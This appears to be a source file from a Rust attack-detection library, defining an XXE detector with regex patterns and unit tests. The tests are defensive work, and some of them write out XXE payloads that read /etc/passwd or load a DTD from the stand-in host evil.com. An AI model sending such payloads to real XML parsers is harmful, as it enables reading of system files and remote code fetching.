security-rust 2.1.0

A pure Rust attack detection library with 32 detectors across 4 categories — injection, protocol, data, and file — plus stateful session, throttling, and risk scoring. Zero framework dependencies.
Documentation 
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// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz

use regex::Regex;
use std::sync::LazyLock;

use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};

static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
    vec![
        Regex::new(r"(?i)<!ENTITY\s+").unwrap(),
        Regex::new(r#"(?i)SYSTEM\s+["']"#).unwrap(),
        Regex::new(r#"(?i)PUBLIC\s+["']"#).unwrap(),
        Regex::new(r"(?i)<!DOCTYPE\s+").unwrap(),
    ]
});

pub struct XxeDetector;

impl Detector for XxeDetector {
    fn name(&self) -> &'static str {
        "xxe"
    }

    fn detect(&self, input: &str) -> Option<DetectionResult> {
        regex_detect(
            &PATTERNS,
            self.name(),
            AttackCategory::Protocol,
            Severity::Critical,
            "XXE XML External Entity attack detected",
            input,
        )
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn assert_detected(input: &str) {
        crate::test_helpers::assert_detected(
            &XxeDetector,
            input,
            AttackCategory::Protocol,
            Severity::Critical,
        );
    }

    fn assert_clean(input: &str) {
        crate::test_helpers::assert_clean(&XxeDetector, input);
    }

    #[test]
    fn name_is_xxe() {
        assert_eq!(XxeDetector.name(), "xxe");
    }

    #[test]
    fn detects_inline_entity() {
        assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
    }

    #[test]
    fn detects_doctype_declaration() {
        assert_detected(
            "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
        );
    }

    #[test]
    fn detects_parameter_entity() {
        assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
    }

    #[test]
    fn detects_public_entity() {
        assert_detected(
            "<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
        );
    }

    #[test]
    fn detects_mixed_case_markup() {
        assert_detected("<!entity xxe system \"file:///etc/passwd\">");
        assert_detected("<!doctype foo>");
    }

    #[test]
    fn rejects_benign_xml() {
        assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
        assert_clean("<ENTITY>plain text</ENTITY>");
        assert_clean("<!DOCTYPEfoo>");
        assert_clean("SYSTEM\"file:///etc/passwd\"");
        assert_clean("<!ENTITY>");
    }

    #[test]
    fn rejects_near_misses() {
        assert_clean("<!ENTITYxxe>");
        assert_clean("<!ENTITY%xxe>");
        assert_clean("SYSTEM /etc/passwd");
    }

    #[test]
    fn rejects_empty_and_whitespace() {
        assert_clean("");
        assert_clean("   ");
    }

    #[test]
    fn rejects_unicode_text() {
        assert_clean("这是一段普通的中文 XML 描述文本");
    }
}